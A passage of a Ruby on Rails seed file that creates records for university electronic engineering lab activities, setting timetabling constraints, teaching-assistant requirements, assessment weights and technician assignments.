post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a277.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a278 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"112\").first_or_create!(name: \"Fault Finding\",\n name_abrv: \"FFIND\", archived: false, in_drive: false, user_id: 1)\n at278 = ActivityTimetable.where(activity_id: a278.id).first_or_create!(duration: 210, kit_prep_time: 360, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 30, notes: \"This must come before ICP (ideally immediately before)\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a278.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Fault Finding\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a278.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students find faults on a pre-populated PCB\n Remind students how to calculate the resonant frequency of RLC circuits and how to calculate bandwidth and Q factor\n Assist students with AC and DC circuit analysis using an oscilloscope and multimeter\n Demonstrate desoldering with attention to detail\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a278.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a278.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a278.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a279 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at279 = ActivityTimetable.where(activity_id: a279.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 3, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a279.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a279.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a279.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a279.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a279.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a280 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at280 = ActivityTimetable.where(activity_id: a280.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a280.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a280.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a280.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a280.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a280.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a281 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"114\").first_or_create!(name: \"Individual Construction Project\",\n name_abrv: \"ICP\", archived: false, in_drive: false, user_id: 3)\n at281 = ActivityTimetable.where(activity_id: a281.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 4 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a281.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"ICP\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a281.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students construct an infra-red communication transmitter by soldering a PCB\n Advise students on component choice for desired frequency response (LCR resonant frequency and passive RC filters)\n Troubleshoot problems with students' circuits by using oscilloscopes and multimeters\n Demonstrate soldering and desoldering techniques for students and assist them in correcting circuit construction faults\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a281.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a281.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a281.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a282 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 1)\n at282 = ActivityTimetable.where(activity_id: a282.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a282.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a282.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a282.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a282.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a282.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a283 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 2)\n at283 = ActivityTimetable.where(activity_id: a283.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a283.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a283.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a283.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a283.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a283.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a284 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"116\").first_or_create!(name: \"LED\",\n name_abrv: \"LED\", archived: false, in_drive: false, user_id: 1)\n at284 = ActivityTimetable.where(activity_id: a284.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 7, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after clean room intro - micro measurement\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a284.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"LED\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a284.id).first_or_create!(criteria: \"Basic cleanroom skills.\",\n job_desc:\"Assist Year 1 EEE students to make top contact on GaN LED and then do IV and optical tests using probe station, SMU and optical spectometer.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a284.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a284.id).first_or_create!(cost_per_student: nil, equip_needed: \"8 probe stations, 10 microscope cameras, 2 metallurgical microscopes, 8 PCs with Keysight Quick IV and Motic Images Plus 3 software, 8 SMUs, 4 spectrometers, 2 power meters, 2 scalpels, 2 magnifying lamps, 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a284.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a285 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 1)\n at285 = ActivityTimetable.where(activity_id: a285.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a285.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a285.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a285.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a285.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a285.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a286 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: true, in_drive: false, user_id: 2)\n at286 = ActivityTimetable.where(activity_id: a286.id).first_or_create!(duration: 210, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a286.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a286.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a286.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a286.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a286.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a287 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 5)\n at287 = ActivityTimetable.where(activity_id: a287.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a287.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a287.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a287.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a287.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a287.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a288 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 2)\n at288 = ActivityTimetable.where(activity_id: a288.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a288.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a288.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a288.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a288.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a288.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a289 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 5)\n at289 = ActivityTimetable.where(activity_id: a289.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a289.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a289.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a289.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a289.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a290 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"119\").first_or_create!(name: \"Operational Amplifiers\",\n name_abrv: \"AMP2\", archived: false, in_drive: false, user_id: 5)\n at290 = ActivityTimetable.where(activity_id: a290.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after Amplifiers & Probes\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a290.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a290.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a290.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a290.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a290.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a291 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 3)\n at291 = ActivityTimetable.where(activity_id: a291.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 4, max_week_num: 7, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minutes x 2 sessions. After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a291.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a291.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a291.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a291.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a291.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a292 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 5)\n at292 = ActivityTimetable.where(activity_id: a292.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a292.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a292.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a292.id).first_or_create!(assess_weight: 15.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a292.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a292.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a293 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 1)\n at293 = ActivityTimetable.where(activity_id: a293.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a293.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a293.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a293.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a293.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n 